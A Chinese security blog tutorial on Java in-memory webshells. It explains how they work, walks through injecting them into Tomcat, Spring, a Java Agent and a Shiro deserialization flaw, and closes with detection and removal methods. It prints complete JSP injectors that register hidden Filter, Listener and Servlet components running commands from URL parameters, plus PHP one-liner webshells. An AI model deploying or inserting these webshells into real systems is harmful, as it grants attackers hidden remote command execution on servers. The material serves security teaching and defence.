比《三体》二向箔更可怕:Java内存马的降维寄生法则

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


目录

​编辑

一:IDEA配置tomcat

1.打开文件servletjspproject

2.配置端口等

3.启动tomcat服务后配置成功

二:JAVA内存马原理

1. 核心原理

2. 关键技术

3. 常见类型

4.内存马与普通马的对比

4.1 普通木马

4.2 两马对比

三:实战演练

1.内存马三个组件注入

1.1 Filter 内存马

1.2 Listener 内存马

1.3 Servlent 内存马

2.Spring内存马

2.1访问/test1即:普通的内存马

2.2访问/test2:注入隐藏马

3.Agent内存马

3.1Java agent 技术

3.2 实现在项目运行时修改它的代码(AgentDemo)

3.3 Agent 注入tomcat内存马

4.Shiro反序列化内存马注入

5.内存马注入思路

5.1 基于JSP WebShell植入内存马

5.2 通过Java Agent植入内存马

5.3 基于JavaWeb RCE漏洞植入内存马

四:JAVA内存马查杀思路

1.工具

1.1 河马查杀

1.2 工具shell-analyzer

2.内存马查杀核心思路

2.1 重启服务(临时解决)

2.2 文件查杀(辅助手段)

2.3 漏洞检测与修复(根本措施)

3.内存马专用检测方法

3.1 内存扫描:检测JVM加载的恶意类

3.2 恶意类内容分析

4.内存马查杀操作步骤

4.1 定位恶意组件

4.2.动态移除组件

4.3 清除持久化痕迹

五:总结


                                     (需要如下代码资料的联系博主免费领取)

一:IDEA配置tomcat

1.打开文件servletjspproject

IDEA配置tomcat

2.配置端口等

选择第二个

3.启动tomcat服务后配置成功


二:JAVA内存马原理

Java内存马(内存Webshell)是一种驻留在内存中的恶意代码,通常不依赖磁盘文件,难以被传统安全检测手段发现。其核心原理是利用Java的动态性(如反射、类加载、字节码修改)在Web容器中动态注册恶意组件(如Servlet、Filter、Listener等)。以下是其实现原理的详细分析:


1. 核心原理

  • 动态注入:通过漏洞(如反序列化、RCE)在目标JVM中动态加载恶意类或修改现有类。

  • 组件注册:在Web容器(Tomcat、Spring等)中注册恶意组件(如Filter、Servlet),劫持HTTP请求。

  • 内存驻留:恶意代码仅存在于内存中,不落地文件,重启后失效(除非持久化)。


2. 关键技术

(1) 类加载与反射

  • ClassLoader机制:通过URLClassLoaderdefineClass动态加载恶意字节码。

  • 反射API:绕过访问限制,调用私有方法注册组件(如addFilter())。

(2) 修改现有类字节码

  • Instrumentation API:通过javaagent修改已加载类的字节码(如插入后门逻辑)。

  • 工具库:使用ASM、Javassist动态生成恶意类。

    ClassPool pool = ClassPool.getDefault();
    CtClass clazz = pool.get("org.apache.catalina.core.ApplicationFilterChain");
    // 插入恶意逻辑到doFilter方法

(3) 注册恶意组件

  • Servlet/Filter注入:通过ServletContext添加恶意Filter/Servlet,拦截所有请求。

servletServlet(服务器小程序) 是 Java 技术中用于处理 Web 请求和生成动态响应的核心组件。它运行在支持 Java 的 Web 服务器(如 Tomcat、Jetty 等)中,充当客户端(如浏览器)与服务器端应用之间的桥梁。

1.Jsp和servlet的关系:jsp经过编译后会会变成servlet,支持前端语法

2.Servlet和tomcat的关系:Tomcat中有servlet容器, tomcat可以提供http访问,tomcat可以将http请求转化为htttpservletrequest对象,并调用doGET/doPost并且把httpservletresponse转化为http响应内容


Filter:过滤器,过滤请求,过滤响应。自定义拦截地址

用途:1.权限验证2.过滤非法请求内容3.对请求解密;对响应加密4.记录用户访问日志

  • Listener注入:注册恶意监听器(如ServletRequestListener),捕获请求事件。

用途:1.统计网站在线人数2.统计网站总访问量3.监控访问记录


3. 常见类型

(1) Tomcat内存马

  • Filter型:注册恶意Filter到StandardContextfilterMapsfilterConfigs

  • Servlet型:添加Servlet并映射到/*路径。

(2) Spring内存马

  • Controller型:通过RequestMappingHandlerMapping动态注册恶意Controller。


4.内存马与普通马的对比

4.1 普通木马

一句话木马

  • 定义
    一种极简的恶意脚本,通常仅包含一行或几行代码,依赖外部工具(如“中国菜刀”)通过HTTP请求动态执行命令。

  • 特点

    • 代码极简:例如PHP中的<?php @eval($_POST['cmd']);?>,通过POST参数cmd接收并执行任意代码。

    • 隐蔽性强:文件体积小,可隐藏在正常文件中(如图片、HTML注释)。

    • 依赖客户端工具:需配合专用软件(如蚁剑、冰蝎)连接,实现文件管理、命令执行等功能。

  • 典型场景
    利用文件上传漏洞植入,快速获取服务器控制权,适合短期渗透。


 小马

  • 定义
    功能比一句话木马更丰富的WebShell,通常包含基础的文件管理和命令执行功能,代码量适中。

  • 特点

    • 功能扩展:支持文件上传、下载、目录遍历、命令执行等基础操作。

    • 代码示例(PHP):

      <?php
      if(isset($_GET['action'])){
          if($_GET['action'] == 'upload') { /* 文件上传逻辑 */ }
          if($_GET['action'] == 'cmd') { system($_POST['command']); }
      }
      ?>
    • 半交互式操作:可通过浏览器直接访问特定参数触发功能,无需专用工具。

  • 典型场景
    需要简单持久化控制的场景,如维护后门或临时文件管理。


 大马

  • 定义
    功能全面的WebShell,通常具备图形化界面,支持文件管理、数据库操作、端口扫描等高级功能。

  • 特点

    • 功能复杂:集成文件编辑、数据库连接、内网渗透、提权等模块(如“中国菜刀”配套的WebShell)。

    • 代码量大:可能包含数千行代码,易被安全软件检测。

    • 界面友好:提供类操作系统的交互界面,降低攻击者使用门槛。

  • 典型场景
    长期控制服务器,进行深度渗透或数据窃取,但隐蔽性较差。


4.2 两马对比

存储位置与持久性

对比项

普通木马(Webshell)

内存马(内存Webshell)

存储位置

磁盘文件(如JSP、PHP、ASP等)

内存(JVM运行时环境)

持久性

依赖文件存在,删除文件即失效

驻留内存,重启应用或服务后失效(除非持久化)

依赖条件

需要上传文件到服务器

依赖漏洞注入(如RCE、反序列化)


实现机制

对比项

普通木马

内存马

技术原理

通过文件上传漏洞部署脚本文件,通过HTTP请求执行命令

利用Java动态性(反射、类加载)在内存中动态注册恶意组件(Filter/Servlet/Controller)

攻击入口

文件路径直接访问(如/evil.jsp

劫持Web容器请求处理流程(如所有URL路径)

典型示例

JSP文件:
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

动态注册Filter拦截请求,执行内存中的恶意代码


隐蔽性与检测难度

对比项

普通木马

内存马

文件扫描

易被传统杀毒软件或文件监控发现

无文件落地,无法通过文件哈希或静态扫描检测

日志痕迹

访问路径可能被Web日志记录(如evil.jsp

无特定URL路径,请求行为与正常流量混合

运行时检测

进程监控可能发现异常命令执行

需检查JVM内存中的类、组件注册情况(如Tomcat的Filter列表)

防御绕过能力

低(依赖文件)

高(完全内存驻留,无文件特征)


攻击场景与优缺点

对比项

普通木马

内存马

适用场景

长期驻留、低安全防护环境

快速攻击、绕过安全防护(如WAF、杀毒软件)

优点

部署简单,持久性强

隐蔽性高,无文件特征,难以追踪

缺点

易被文件监控发现,依赖文件上传漏洞

实现复杂,依赖内存注入漏洞,重启后失效


防御与检测手段对比

防御手段

普通木马

内存马

静态检测

文件哈希校验、Web目录监控、代码审计

无效(无文件)

动态检测

进程行为监控、命令执行日志分析

监控JVM类加载、反射调用、异常组件注册

防护方案

WAF拦截可疑文件上传、文件权限控制

RASP(运行时应用自保护)、内存马特征扫描

清除方式

删除文件、修复上传漏洞

重启服务、修复漏洞、清理恶意组件注册


三:实战演练

1.内存马三个组件注入

1.1 Filter 内存马

上传后如下

然后先对filter这个内存马进行访问

注入成功

利用钥匙访问,成功拿到当前用户名。可以看到这里和之前的大小马都不一样,只有密码访问。是因为当我们访问内存文件后,恶意代码已经存储在内存中,即使现在将内存马文件删除后也是能访问。


代码如下

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<!-- http://localhost:8076/addFilter.jsp -->
<!-- http://localhost:8076/?cmd1=whoami -->

<%
    final String name = "AutomneGreet";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
				HttpServletRequest lrequest = (HttpServletRequest) servletRequest;
				HttpServletResponse lresponse = (HttpServletResponse) servletResponse;
                if (lrequest.getParameter("cmd1") != null){
					Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd1"));
					java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
							new java.io.InputStreamReader(process.getInputStream()));
					StringBuilder stringBuilder = new StringBuilder();
					String line;
					while ((line = bufferedReader.readLine()) != null) {
						stringBuilder.append(line + '\n');
					}
					lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
					lresponse.getOutputStream().flush();
					lresponse.getOutputStream().close();
					return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        	
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("inject filter success");
    }
%>

1.2 Listener 内存马


代码如下

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<!-- http://localhost:8076/addListener.jsp -->
<!-- http://localhost:8076/?cmd2=calc -->

<%
class S implements ServletRequestListener{
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        if(request.getParameter("cmd2") != null){
            try {
                Runtime.getRuntime().exec(request.getParameter("cmd2"));
            } catch (IOException e) {}
        }
    }
}
%>

<%
ServletContext servletContext =  request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
out.println("inject listener success");
S servletRequestListener = new S();
standardContext.addApplicationEventListener(servletRequestListener);
%>

1.3 Servlent 内存马


代码如下

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<!-- http://localhost:8086/addServlet.jsp -->
<!-- http://localhost:8086/?cmd3=dir -->

<%
  Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
  appContextField.setAccessible(true);
  Field standardContextField = ApplicationContext.class.getDeclaredField("context");
  standardContextField.setAccessible(true);

  ServletContext servletContext = request.getSession().getServletContext();
  ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
  StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

  Filter filter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
      if (request.getParameter("cmd3") != null) {
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
          isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd3")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd3")};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\A");
        String output = s.hasNext() ? s.next() : "";
        response.getWriter().write(output);
        response.getWriter().flush();
      }
      chain.doFilter(request, response);
    }

    @Override
    public void destroy() {

    }

  };
  FilterDef filterDef = new FilterDef();
  filterDef.setFilter(filter);
  filterDef.setFilterName("evilFilter");
  filterDef.setFilterClass(filter.getClass().getName());
  standardContext.addFilterDef(filterDef);

  Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
  constructor.setAccessible(true);
  ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

  Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
  filterConfigsField.setAccessible(true);
  Map filterConfigs = (Map) filterConfigsField.get(standardContext);
  filterConfigs.put("evilFilter", filterConfig);

  FilterMap filterMap = new FilterMap();
  filterMap.addURLPattern("/*");
  filterMap.setFilterName("evilFilter");
  filterMap.setDispatcher(DispatcherType.REQUEST.name());
  standardContext.addFilterMapBefore(filterMap);

  out.println("inject servlet success");
%>

2.Spring内存马

依旧是先打开spring项目配置tomcat运行即可

打开网站如下

这里它提供了一个映射路径 及类的查看路径


2.1访问/test1即:普通的内存马

注入成功

创建了一个路径为/good来用于存储内存马

访问成功


2.2访问/test2:注入隐藏马

没有变化,被隐藏起来了在/api中

最开始访问/api界面如下

注入后访问如下


部分代码如下

package com.wuya.spring;

import exp.InvisibleShell;
import exp.InjectToController;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.method.HandlerMethod;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

@Controller
public class TestController {

    @RequestMapping("/mappings")
    @ResponseBody
    public String mappings(){
        try {
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
                    .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            RequestMappingHandlerMapping rmhMapping = context.getBean(RequestMappingHandlerMapping.class);
            Field _mappingRegistry = AbstractHandlerMethodMapping.class.getDeclaredField("mappingRegistry");
            _mappingRegistry.setAccessible(true);
            Object mappingRegistry = _mappingRegistry.get(rmhMapping);

            Field _registry = mappingRegistry.getClass().getDeclaredField("registry");
            _registry.setAccessible(true);
            HashMap<Object,Object> registry = (HashMap<Object, Object>) _registry.get(mappingRegistry);

            Class<?>[] tempArray = AbstractHandlerMethodMapping.class.getDeclaredClasses();
            Class<?> mappingRegistrationClazz = null;
            for (Class<?> item : tempArray) {
                if (item.getName().equals(
                        "org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistration"
                )) {
                    mappingRegistrationClazz = item;
                }
            }

            StringBuilder sb = new StringBuilder();
            sb.append("<pre>");
            sb.append("| path |").append("\t").append("\t").append("| info |").append("\n");
            for(Map.Entry<Object,Object> entry:registry.entrySet()){
                sb.append("--------------------------------------------");
                sb.append("\n");
                RequestMappingInfo key = (RequestMappingInfo) entry.getKey();
                List<String> tempList = new ArrayList<>(key.getPatternsCondition().getPatterns());
                sb.append(tempList.get(0)).append("\t").append("-->").append("\t");
                Field _handlerMethod = mappingRegistrationClazz.getDeclaredField("handlerMethod");
                _handlerMethod.setAccessible(true);
                HandlerMethod handlerMethod = (HandlerMethod) _handlerMethod.get(entry.getValue());

                Field _desc = handlerMethod.getClass().getDeclaredField("description");
                _desc.setAccessible(true);
                String desc = (String) _desc.get(handlerMethod);
                sb.append(desc);
                sb.append("\n");
            }
            sb.append("</pre>");
            return sb.toString();
        }catch (Exception e){
            e.printStackTrace();
        }
        return "";
    }

    @RequestMapping("/test1")
    @ResponseBody
    public String test1() {
        try {
            new InjectToController();
        }catch (Exception e){
            e.printStackTrace();
        }
        return "inject Controller ok";
    }

    @RequestMapping("/test2")
    @ResponseBody
    public String test2() {
        try {
            new InvisibleShell();
        }catch (Exception e){
            e.printStackTrace();
        }
        return "inject InvisibleShell ok";
    }
} 
//TextController
package com.wuya.spring;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class ApiController {
    @RequestMapping("/api")
    @ResponseBody
    public String scan(){
        return "ok ordinary api";
    }
}
//Apicontroller

3.Agent内存马

3.1Java agent 技术

Java Agent 是 Java 平台提供的一种特殊机制,允许开发者在 JVM 运行时动态修改或增强字节码.class文件),从而实现代码监控、性能分析、热修复、AOP(面向切面编程)等功能。它通过 Java Instrumentation API 实现,是 Java 生态中实现无侵入式编程的核心工具

Java agent 运行方式: 启动agent时通过attach方式挂载目标进程号


3.2 实现在项目运行时修改它的代码(AgentDemo)

  打开AgentDemo项目

AgentDemo功能:修改targetapp项目类,使其代码被篡改

Targetapp项目

.class内容如下(修改为如下内容)

运行Targetapp

将这个java文件打包

终端执行如下命令

打包成功

然后获取Targetapp进程号

打开如下项目

在项目结构中添加如下路径

运行agenttest

成功修改

注意修改项目中的路径为自己的实际路径


代码如下

package me.mole.transform;

import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Arrays;

public class Transformer implements ClassFileTransformer {

    // 用于合并多个字节数组为一个数组
    private byte[] mergeByteArray(byte[]... byteArray) {
        int totalLength = 0;
        for (int i = 0; i < byteArray.length; i++) {
            if (byteArray[i] == null) {
                continue;
            }
            totalLength += byteArray[i].length;
        }

        byte[] result = new byte[totalLength];
        int cur = 0;
        for (int i = 0; i < byteArray.length; i++) {
            if (byteArray[i] == null) {
                continue;
            }
            System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
            cur += byteArray[i].length;
        }

        return result;
    }

    // 从给定路径的文件中读取字节数组
    private byte[] getBytesFromFile(String fileName) {
        try {
            byte[] result = new byte[]{};
            InputStream is = new FileInputStream(new File(fileName));
            byte[] bytes = new byte[1024];
            int num = 0;
            while ((num = is.read(bytes)) != -1) {
                result = mergeByteArray(result, Arrays.copyOfRange(bytes, 0, num));
            }
            is.close();
            return result;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }


    // ClassFileTransformer接口的核心方法
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        if (!className.equals("me/mole/Bird")) {
            return null;
        }
        // 匹配到类名,返回已近编译好的字节码内容(修改后的)
        return getBytesFromFile("D:\\web-ruanjianfujian\\agent\\hook-test\\Bird.class");
    }

}
//Transformer.java
package me.mole;

import me.mole.transform.Transformer;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentEntry {
    /**
     * jvm 参数形式启动,运行此方法
     *
     * @param agentArgs
     * @param inst
     */
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("premain");
    }

    /**
     * 动态 attach 方式启动,运行此方法
     *
     * @param agentArgs
     * @param inst
     */
    public static void agentmain(String agentArgs, Instrumentation inst)
            throws ClassNotFoundException, UnmodifiableClassException,
            InterruptedException {
        inst.addTransformer(new Transformer(), true);
        // 修改了Bird的代码
        Class[] loadedClasses = inst.getAllLoadedClasses();
        for (Class c : loadedClasses) {
            if (c.getName().equals("me.mole.Bird")) {
                try {
                    inst.retransformClasses(c);
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }
        System.out.println("Class changed!");
    }
}
///AgentEntry.java
package me.mole;

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;

public class AgentTest {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        VirtualMachine vm = VirtualMachine.attach("3156");
        vm.loadAgent("D:\\web-ruanjianfujian\\agent\\JavaInstrument-main\\AgentDemo\\targetAgentDemo-1.0-SNAPSHOT-jar-with-dependencies.jar");
    }
}
///AgentTest.java
package me.mole;

public class TargetAppMain {

    public static void main(String[] args) throws Exception {
        System.out.println("Hi,guys! This is TargetApp.");

        Bird bird = new Bird();
        while (true) {
           bird.say();
           Thread.sleep(5000);
        }
    }
}
///TargetAppMain.java
package me.mole;

public class Bird {
    public void say() {
        System.out.println("bird say hello.");
    }
}
///Bird.java

3.3 Agent 注入tomcat内存马

启动tomcat

启动成功

打开如下项目实现自动内存马注入

命令行输入项目路径下输入java -jar inject.jar password

出现如下即注入成功

打开tomcat得到,注入成功

                     (注意如果你安装jdk8无法复现的话,安装jdk11即可)


4.Shiro反序列化内存马注入

配置tomcat

修改tomcat中config中的server.xml

打开内存马项目Shiroattack

运行这个项目得到payload

打开bp抓包注入

抓包成功

将得到的payload放于cookie处。RememberME 中。然后利用重放器发送即可完成内存马注入

然后访问http://localhost:8083/shiro/login.jsp?cmd=whoami

即可得到当前用户名。100%内存马注入成功

(此案例不提供代码,如需联系博主。之前所提供代码均不全,需要完整项目联系博主)


5.内存马注入思路

5.1 基于JSP WebShell植入内存马
  • 原理:攻击者通过上传JSP WebShell到服务器(如文件上传漏洞),利用其执行环境动态加载恶意类或修改Web组件(如Servlet、Filter),将恶意逻辑注入内存。

  • 特点:依赖文件落地(WebShell)作为跳板,但最终驻留内存,可绕过后续文件扫描。

  • 示例:通过JSP文件调用Java反射API,动态注册恶意Filter,拦截请求并执行命令。


5.2 通过Java Agent植入内存马
  • 原理:利用Java Agent的字节码修改能力(Instrumentation API),在目标进程启动时或运行时(通过Attach API)注入恶意Agent,篡改关键类(如ServletContainerDispatcherServlet)的逻辑。

  • 特点:无文件落地,直接修改JVM内存中的类定义,隐蔽性极强。

  • 示例:通过-javaagent参数加载恶意Agent,重写FilterChain的逻辑以劫持请求。


5.3 基于JavaWeb RCE漏洞植入内存马

利用常见框架漏洞实现远程代码执行(RCE),直接在内存中植入恶意组件,典型场景包括

  • Fastjson反序列化:构造恶意JSON数据触发反序列化漏洞,通过JNDI注入或字节码加载植入内存马(如动态注册恶意Controller)。

  • Spring Cloud Gateway路由劫持:利用未授权路由创建漏洞,添加恶意路由规则,将请求转发至内存中的恶意逻辑。

  • Log4j2 JNDI注入:通过日志语句触发JNDI远程类加载,执行恶意代码并注入内存马(如绑定恶意LDAP服务)。

  • Shiro反序列化:利用Shiro的RememberMe Cookie反序列化漏洞,执行任意代码动态注册Filter或Listener。

  • FreeMarker SSTI:通过模板注入执行Java代码,反射调用API注册恶意Servlet或拦截器。


四:JAVA内存马查杀思路

1.工具

(需要工具的联系博主免费领取)

1.1 河马查杀


1.2 工具shell-analyzer


2.内存马查杀核心思路

2.1 重启服务(临时解决)
  • 原理:内存马驻留在JVM内存中,重启服务会清空内存,但需注意:

    • 仅临时有效:若漏洞未修复,攻击者可再次注入。

    • 生产环境慎用:可能导致业务中断,需评估影响。


2.2 文件查杀(辅助手段)
  • 适用场景:普通Webshell(如JSP文件)。

  • 工具推荐

    • 河马Webshell查杀:支持静态文件扫描,检测已知恶意代码特征。

    • ClamAV:结合自定义规则检测后门文件。

  • 局限性:内存马无磁盘文件,传统文件查杀无效,但可辅助清除持久化攻击痕迹。


2.3 漏洞检测与修复(根本措施)
  • 关键步骤

    1. 定位漏洞根源(如Log4j、Fastjson、Shiro等)。

    2. 升级组件版本或打补丁(如Apache官方修复方案)。

    3. 关闭非必要端口和服务(如JMX、调试接口)。


3.内存马专用检测方法

3.1 内存扫描:检测JVM加载的恶意类
  • 步骤

    1. 获取JVM中所有已加载的类

      # 使用jcmd导出类列表
      jcmd <PID> GC.class_histogram | grep -vE "java\.|sun\."

    2. 识别可疑类特征

      • 类名含Filter/Shell/Agent等敏感词。

      • 类路径异常(如com.xxx.hack、随机包名)。

    3. 交叉验证:检查类是否在磁盘存在(内存有但磁盘无 → 高危)。

  • 工具辅助

    • Arthas:动态查看类加载信息。

      # 列出所有已加载类
      sc *
      # 查看某个类的来源(JAR包或动态加载)
      sc -d com.example.EvilFilter

    • Java Mission Control (JMC):实时监控类加载事件。


3.2 恶意类内容分析
  • 检测逻辑

    1. Dump类字节码

      # 使用jcmd dump类到文件
      jcmd <PID> GC.class_histogram > classes.txt
      jmap -dump:live,format=b,file=heap.hprof <PID>

    2. 反编译分析

      • 使用JD-GUI、CFR等工具反编译.class文件。

      • 搜索危险代码(如Runtime.exec()defineClass)。

  • 自动化工具

    • 内存马查杀工具(如“冰蝎内存马检测插件”):直接扫描JVM内存中的恶意类。

    • RASP(运行时防护):拦截危险API调用(如命令执行、类加载)。


4.内存马查杀操作步骤

4.1 定位恶意组件
  • Tomcat场景

    # 通过Tomcat Manager查看Filter/Servlet列表
    curl -u admin:password http://localhost:8080/manager/text/list
    # 检查结果中的未知Filter(如evilFilter)

  • Spring场景

    # 查看所有注册的Controller(需开启Actuator)
    curl http://localhost:8080/actuator/mappings | jq '.'
    # 检查异常URL映射(如"/**")


4.2.动态移除组件
  • Tomcat手动移除Filter

    // 获取StandardContext
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map<String, FilterConfig> filterConfigs = (Map) filterConfigsField.get(standardContext);

    // 移除恶意Filter
    filterConfigs.remove("evilFilter");

    // 清理FilterMap
    Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
    filterMapsField.setAccessible(true);
    List<FilterMap> filterMaps = (List) filterMapsField.get(standardContext);
    filterMaps.removeIf(map -> "evilFilter".equals(map.getFilterName()));

  • Spring移除Controller

    // 获取HandlerMapping并注销
    RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
    handlerMapping.unregisterMapping(mappingInfo);


4.3 清除持久化痕迹
  • 检查启动项

    # Linux排查定时任务
    crontab -l
    ls -al /etc/cron.d/
    # Windows排查计划任务
    schtasks /query /fo LIST

  • 修复漏洞

    • 升级存在漏洞的组件(如Fastjson到2.0.48+)。

    • 禁用危险协议(如LDAP、RMI远程加载类)。


五:总结

内存马(内存型WebShell)是一种高度隐蔽的无文件攻击技术,其核心在于将恶意代码直接植入目标应用进程的内存中执行,避免在磁盘上留下文件痕迹,从而规避传统基于文件扫描的安全检测手段。攻击者通常利用应用漏洞(如反序列化、表达式注入等)将恶意载荷注入Java、PHP、Python等服务的运行时内存,通过动态修改Web应用的逻辑(如Servlet、Filter、Controller等组件),劫持合法请求并实现持久化控制。常见类型包括Java Filter型、Agent型、PHP扩展型、.NET模块型等。内存马的优势在于其驻留于内存、无文件落地、与合法进程深度绑定的特性,导致传统杀毒软件、流量监控难以察觉。检测需依赖内存取证、行为分析、RASP(运行时应用自保护)等技术,防御则需结合漏洞修复、最小权限原则、内存监控及EDR(端点检测响应)等综合方案,是当前攻防对抗中的高级威胁之一。


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

评论 30
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全瞭望Sec

感谢您的打赏,您的支持让我更加

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值